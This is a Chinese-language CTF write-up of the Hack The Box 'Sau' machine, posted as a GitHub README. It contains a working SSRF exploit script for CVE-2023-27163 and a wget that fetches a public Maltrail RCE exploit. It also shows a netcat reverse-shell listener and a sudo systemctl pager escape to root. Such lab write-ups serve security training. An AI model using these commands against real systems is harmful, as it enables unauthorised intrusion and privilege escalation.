R3fr4kt/Sau
GitHub: R3fr4kt/Sau
这是一份Hack The Box中等难度靶机的渗透测试Writeup,展示了从SSRF漏洞利用到systemctl提权的完整攻击链和方法论。
Stars: 0 | Forks: 0
# Sau
# Hack The Box – Sau Writeup
## 概述
**Sau** 是一台中等难度的 Linux 机器,主要关注 **Web 利用、SSRF 滥用以及通过配置错误的 sudo 权限进行权限提升**。
本文展示了一套结构化的方法论:枚举、漏洞研究、漏洞利用适配、Shell 稳定化以及权限提升。
目标是获取 `user.txt` 和 `root.txt`。
## 1. 枚举
我首先进行了一次完整的 TCP 端口扫描:
```
nmap -Pn -n --min-rate 5000 -T4
```
随后对发现的开放端口进行了详细分析:
```
nmap -p22,80,8338,55555 -sSCV --min-rate 5000 -T4
```
关键发现:
* **22** → SSH
* **80** → HTTP (内部服务)
* **55555** → Web 应用程序
* **8338** → 附加服务(无法直接利用)
为了识别 55555 端口上的服务:
```
whatweb :55555
```
输出显示该应用程序为 **request-baskets**,其版本信息显示在页脚中。
## 2. SSRF 漏洞利用 – CVE-2023-27163
基于 HTB 的提示和版本分析,该应用程序存在 **SSRF (服务器端请求伪造)** 漏洞。
搜索:
```
CVE 2023 SSRF request-baskets
```
发现了 **CVE-2023-27163**,该漏洞允许攻击者将请求转发到内部服务。
### 利用策略
思路是创建一个恶意 basket,将请求转发到:
```
http://127.0.0.1:80
```
下面是用于创建 SSRF 隧道的改编 Python 脚本:
```
import requests
import json
import sys
target_url = "http://:55555"
internal_service = "http://127.0.0.1:80"
basket_name = "exploit-ssrf"
def create_malicious_basket():
api_url = f"{target_url}/api/baskets/{basket_name}"
payload = {
"forward_url": internal_service,
"proxy_response": True,
"insecure_tls": True,
"expand_path": True,
"capacity": 250
}
response = requests.post(api_url, json=payload)
if response.status_code == 201:
print(f"[+] Basket '{basket_name}' created successfully.")
print(f"[+] Access: {target_url}/{basket_name}")
else:
print(f"[-] Error: {response.text}")
if __name__ == "__main__":
create_malicious_basket()
```
### 攻击原理
1. 向 `/api/baskets/{name}` 发送 `POST` 请求。
2. `proxy_response: true` 确保服务器返回内部服务的响应。
3. 访问 `/exploit-ssrf` 强制服务器在内部查询 `127.0.0.1:80`。
## 3. 内部应用程序发现
通过 SSRF,我发现了一个运行在 80 端口的内部 Web 应用程序:
**Maltrail v0.53**
该版本公开已知存在远程代码执行 (RCE) 漏洞。
检索漏洞利用脚本:
```
wget https://raw.githubusercontent.com/Rubioo02/Maltrail-v0.53-RCE/main/exploit.sh
chmod +x exploit.sh
```
监听器准备:
```
nc -lvnp 4444
```
执行漏洞利用:
```
./exploit.sh -t :55555/exploit-ssrf -i
```
成功获取了 reverse shell。
## 4. Shell 稳定化
```
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
```
用户 flag:
```
cat /home/puma/user.txt
```
## 5. 权限提升
检查 sudo 权限:
```
sudo -l
```
输出:
```
User puma may run the following commands on sau:
(ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
```
这是一个典型的权限提升向量。
### 版本检查:
```
systemd --version
```
执行被允许的命令:
```
sudo /usr/bin/systemctl status trail.service
```
这会打开一个 pager (`less`)。
在 pager 内部:
```
!/bin/bash
```
由于 `NOPASSWD` sudo 规则,这将生成一个 root shell。
Root flag:
```
cat /root/root.txt
```
## 展示的关键技术技能
* 使用 Nmap 进行结构化枚举
* Web 应用程序指纹识别
* CVE 研究与漏洞利用适配
* SSRF 漏洞利用
* 通过内部服务发现进行横向移动
* RCE 漏洞利用
* Shell 稳定化
* Sudo 配置错误权限提升
## 总结
Sau 是链式利用的一个绝佳案例:
1. SSRF →
2. 内部应用程序暴露 →
3. RCE →
4. 通过配置错误的 sudo 进行权限提升。
这台机器展示了与真实世界攻击路径一致的实用进攻性安全技能,特别是在 **Web 利用和 Linux 权限提升场景** 中。
标签:CISA项目, CSV导出, CTF Writeup, CTI, CVE-2023-27163, Ethical Hacking, HackTheBox, IP 地址批量处理, Nmap, PE 加载器, Request-Baskets, SSRF, Sudo滥用, Web安全, 内网穿透, 协议分析, 密码管理, 应用安全, 插件系统, 数据统计, 服务器端请求伪造, 权限提升, 枚举, 端口扫描, 网络安全, 蓝队分析, 虚拟驱动器, 逆向工具, 隐私保护, 靶机实战